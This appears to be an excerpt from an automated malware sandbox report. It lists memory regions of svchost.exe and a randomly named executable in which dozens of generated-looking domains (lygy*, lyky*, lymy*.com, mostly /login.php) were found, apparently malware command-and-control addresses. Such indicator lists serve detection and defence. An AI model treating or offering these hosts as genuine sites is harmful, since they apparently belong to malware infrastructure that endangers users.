00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2711510595.0000000008F2D000.00000004.00000010.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000156A000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://lygygin.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337019540.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330643505.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygyjuj.com/login.php
Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygylur.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425636553.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2484249134.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197653218.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygymoj.com/login.php
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygymyn.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygynyr.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygysen.com/login.php
Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361263640.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2751476610.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygytix.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygywor.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2852112632.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygywyj.com/login.php
Source: svchost.exe, 00000002.00000003.2360864557.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygyxad.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3406954551.0000000000812000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428117276.00000000092CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lygyxux.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349255775.0000000003379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykyfud.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykygun.com/login.php
Source: svchost.exe, 00000002.00000003.2396904091.000000000331D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387196147.000000000331C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385326544.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.0000000001555000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykyjad.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376391418.000000000331E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376466077.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375586174.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379454788.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375980019.0000000003321000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381729845.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377198818.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376798591.0000000003325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykymij.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344112591.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykymyr.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykynon.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykyser.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykytin.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykyvyx.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykywid.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lykywid.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymygor.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2427094852.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyjix.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2507122526.00000000040F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyjon.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyjyd.com/login.php
Source: svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2920308111.0000000009376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2929340762.0000000009379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2913582701.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2915948048.0000000009376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009298000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2916039850.0000000009374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymylen.com/login.php
Source: svchost.exe, 00000002.00000003.2667584330.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2694181112.00000000040F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymymax.com/H
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymymax.com/login.php
Source: svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymymud.com/
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310717488.000000000331A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311969896.000000000331C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymymud.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymynuj.com/login.php
Source: svchost.exe, 00000002.00000003.2334241023.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336999342.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymysud.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341852646.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymytar.com/login.php
